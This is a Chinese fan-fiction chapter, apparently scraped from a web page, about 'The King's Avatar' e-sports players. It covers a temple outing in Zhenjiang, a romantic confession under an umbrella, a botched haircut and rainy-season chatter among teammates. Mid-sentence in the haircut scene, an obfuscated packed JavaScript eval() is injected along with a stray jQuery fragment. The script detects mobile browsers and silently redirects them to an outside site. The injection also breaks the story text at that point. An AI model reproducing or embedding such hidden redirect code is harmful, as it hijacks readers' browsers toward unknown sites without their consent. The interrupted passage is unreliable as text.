唐昊问:“谁赢了?”
“黄少天。”我对他扑朔迷离、来无影去无踪的行动弄得无从下手,从此给他打上了泥鳅的烙印。广州有泥鳅吗?这我不知道,生平二十一年还没去过更南边的地区,因为这半年的比赛还没有和那边交过手。
我说了我不喜欢剧情脱离掌控的感觉,但很明显黄少天也是这种喜欢把控局面的人。表面上我们势均力敌,可没有上帝视角,我只会从单方面感受来判断,自己像是在被牵着鼻子走。
最后得出一句:“但是这人奇奇怪怪的。”
“就正常相处吧。”唐昊很别扭、但却强装中肯地评价说,“人送外号妖刀么,不走常规。”
剑圣是夜雨声烦,妖刀给黄少天本人的。那迷恋的究竟是剑圣、还是他这个人?我竟然有些不知所谓。
雨淅淅沥沥下了一路,偏偏到了金山寺就停了,大地穿上了水膜,连呼吸中都带着细细杂杂的珠露。大概是因为糟糕的天气,景点居然显得空空荡荡。
我在纠结是带伞还是不带伞,更偏向于后者,手上带那么多东西、又要逛遍景区,我不是健身狂魔,体力条总是回复不满。但又怕小青小白卷土重来,水漫金山把我溺毙在大雨里。
“我拿一把吧。”唐昊及时解决了我的困扰,我向他投以你是英雄的目光。
拜了佛供奉香火,走马观花似的掠过一阵飞檐黄墙,爬到最高处瞭望整座镇江城。山顶上有一处专门挂红丝带小牌匾的许愿处,可能绝大部分寺庙都有这种地方,唐昊问我要不要也挂个?难得看他这么有兴致,我也便欣然应下了。
“我帮你挂。”大高个主动提议帮忙,接过了我写好的小木片,作势要看上面的字,“你许的什么愿?”
倔劲泛上来,我说你不许偷看!
“行行行,我不看行了吧。”唐昊把两个挂牌绑到我碰不到的高处,都紧紧系好后,我才双手合十虔诚的像个真信徒。
希望留个冠军给国家、给呼啸、给我哥。
我在意的人,事事皆平安。
“下山吧。”
刚走完所有台阶,雨就跟不要钱一样落下,好吧它本来就不要钱,一时大的真成了水漫金山。唐昊眼疾手快地撑开伞,电竞选手手速这一块,身上没淋多少雨。我回头看到从台阶上滚成的瀑布,目瞪口呆地说,难道是方锐在杭州发力了?
我们俩挤在小小的伞下,走的有些步履蹒跚。我往右瞥了一眼,发现唐昊左半边的衣裳湿了大半,他穿的是白色阿迪,那水都快淹到商标了。伞是倾斜着的,甚至还附带人工追踪系统,我往哪边躲水坑,它便跟着往哪处。
我把伞往他那边推正了,看到前面几步距离也有一对男女相濡以沫地撑伞,抵御外面的风风雨雨并肩前行。
大概就是,身处囹圄之中、却有一群和自己处境类似的人,便会莫名其妙、自动自发地代入其中。
触景生情到了极限,饱满地将要溢出。余光瞄到他露出的小块斜方肌上有颗浅浅淡淡小痣,平常不仔细、不贴近是完全察觉不到的,这才发现我们之间的距离很近。
我故作轻松地说着:“你说老干妈也真是的,让我们绑cp,也不为我们终身大事考虑,万一这CP炒的,害你之后找不到女朋友了怎么办?”
要是以后他也对嫂子这么好,嫂子反口问这是谁教你的,是不是那个谁?我该怎么向嫂子解释真不是我教的,是他天生就有爱人的能力。
这个问题本来就是无心之举,见他久久没有给出反应,我倒也没继续追问。
“你为什么不能做我的女朋友?”
我心头一怔,刚刚光顾着去听雨声,唐昊的声音突如其来地闯进世界里,没去注意脚下结结实实地踩到一个水坑,今天穿的还是浅色长裤,直接变成扎染款式了。
他低眉看到我裤子上的图案,语气有点嗔怪:“不当心,裤脚都弄湿了。”
“我裤子没事,就是会弄脏你的车子。”我大大咧咧地说着。
“别担心我的车,我会洗,多注意自己。”
多么庆幸现在下着雨,足够掩盖掉所有的悸动、不平静和彷徨。
“那你可得想好了,以后得入赘我家的,你这么讨厌南京,有春天吃不完的韭菜豇豆竹笋,没有你爱吃的鲜花饼米线,夏天很热冬天很冷。你难道退役后不想回昆明吗?”
我的本意是想让他知难而退,所以把这些显而易见的问题摆到台面上,可心里竟然开始盘算起如何劝说林敬言,难道真要跪下来抱住他的大腿说,哥我非他不嫁啊。
思维持续发散,幻想到最后惨烈的死状,我跪在地上抱着奄奄一息的唐昊,指着林敬言嚎啕大哭地说,哥你为什么要这么做啊啊………
不至于不至于不至于。这犯法。
“你想的这么远啊,都想到结婚了?”
我已经想到你怎么死的了!
“我说过啊,南京很好,因为有你在,我开始喜欢上南京。”
少年的话语太过直白,惹得潮湿的天气都在沸腾,共鸣我的血液冲击着大脑,情感上每一个细胞都在叫嚣,答应他。
可人是具有理智的。
“哎哎哎等我们拿到冠军再说嘛!不要因为小情小爱影响我们的宏图大业。”我佯装淡定地拍了拍他的肩膀,大事化小小事化了地把这件事揭过去,“一起拿冠军吧。”
后面看天色还早,便在周围逛了逛,毕竟这里是镇江不是南京,没有满城铺天盖地的宣传,我们也不过是普通人。
晚饭是云南生烫米线,吃的唐昊眉头一皱一皱的,我说有这么难以下咽吗?他嫌弃地推开了碗,说迟早让你吃到正宗的。
然后在当地找了家理发店,打算履行之前的约定。
这下轮到我皱皱巴巴的了。
“真的要随便把宝贵的头发,交到一个不认识的托尼老师手上吗?”
看到唐昊以身作则,出来后头发被理成了美式前刺,露出锋利的眉眼。
剪!
我跟托尼再三交代说,稍微修短一点点就好。
托尼拍着胸脯跟我保证,包在他身上!
然后我生无可恋地看到那一剪刀下去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582906|205136||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,头发直接短到了肩膀,后面全部扎起来只有一个短揪揪,前面的刘海跟狗啃的一样。
你管这叫一点点???
咬着后槽牙交钱。
多少??两百块??
我一路上都在给这家店刷差评,气的手指都在抖。唐昊边开车边笑着说,没关系还是很好看的。
第二天老干妈看到我的头发,震惊出了小猪佩奇表情包,痛心疾首地说道,“我不是昨天在大巴上才交代过你,最近注意好自己的形象,你刚一挑三完,就有好多单人商务找上门来了。”
我张译似的挠了挠头,原来在大巴上说的就是这事啊。
接下来空闲时间里塞满了商务,呼啸训练—商务—散人训练,成功形成了新模式三点一线。
已经正式进入到梅雨季,上次跟叶修抱怨的时候还是开胃小菜,主菜是亚马逊雨林湿度不过85%,可恶的南京最近几天没有低于过90%。闷到缺氧以为是饭吃多了晕碳,我看伦敦未必有南京忧郁,要长腮了、忍不住化身一条固执的鱼、GPL鱼塑第二人。
头发就没干燥过,回国半年终于变成了韩国一份子?牛舔头哈哈。关键剪了短发,前面总有两根龙须耷拉下来挡住眼睛,之前又没有买小发卡的习惯,我缓缓将目光锁定在唐昊的发带上,又做了次伸手党。
唐昊把一条没有用过的champion发带给了我。
这下舒服多了。
赵禹哲去饮水机打水,路过看到两个发带怪物,虎躯一震:“我去,发带会繁殖?”
梅雨季的受害人不仅在江苏。楚云秀说杨梅和枇杷烂掉好多哦,我说还好给我们的这些已经烂在肚子里了,她问好吃吗?我说枇杷好吃好吃,很甜的,杨梅被我爸拿去泡酒了。云秀姐姐人很好,说明年还要再给你们送。
还分布在大江南北。上海的雷轰隆隆响,我问孙翔不会大晚上躲在被窝一个人偷偷哭、想回家想成都吧,孙翔骂我有病!周泽楷说他会哭……帅哥蒙我呢?这就去把雷公电母攻打下来赔罪。
刷视频看见武汉的草丛已经长蘑菇了,去跟戴妍琦求证。戴妍琦说对啊对啊,上下训路上总是看到,一个个好可爱好想采了炖汤。我给唐昊看,说以后吃菌子去武汉就不用去云南?
唐昊睨了我一眼:“那还是去云南吧,中毒还能救回来。这蘑菇一看就有毒,告诉戴妍琦不想躺板板就别吃。”
吓得我急急忙忙告诉戴妍琦。戴妍琦说哇去,家乡IP正确,我信了,不吃不吃。
随着梅雨季的推移,最后一轮常规赛悄然降临。
我兴致勃勃地跑去跟方锐耀武扬威:“我们已经去金山寺作法了!尔等江东鼠辈速速受死!”
“靠!那我们也要去灵隐寺!”方锐大叫,“不过江东鼠辈说的是你自己吧。”
我眯起眼,仔细揣摩了一下。
哦,真是我。
方锐那是广州巨无霸大老鼠。
“济公和法海的终极对决吗?”
“为啥要相爱相杀?我们俩队不都稳稳当当进季后赛了吗?”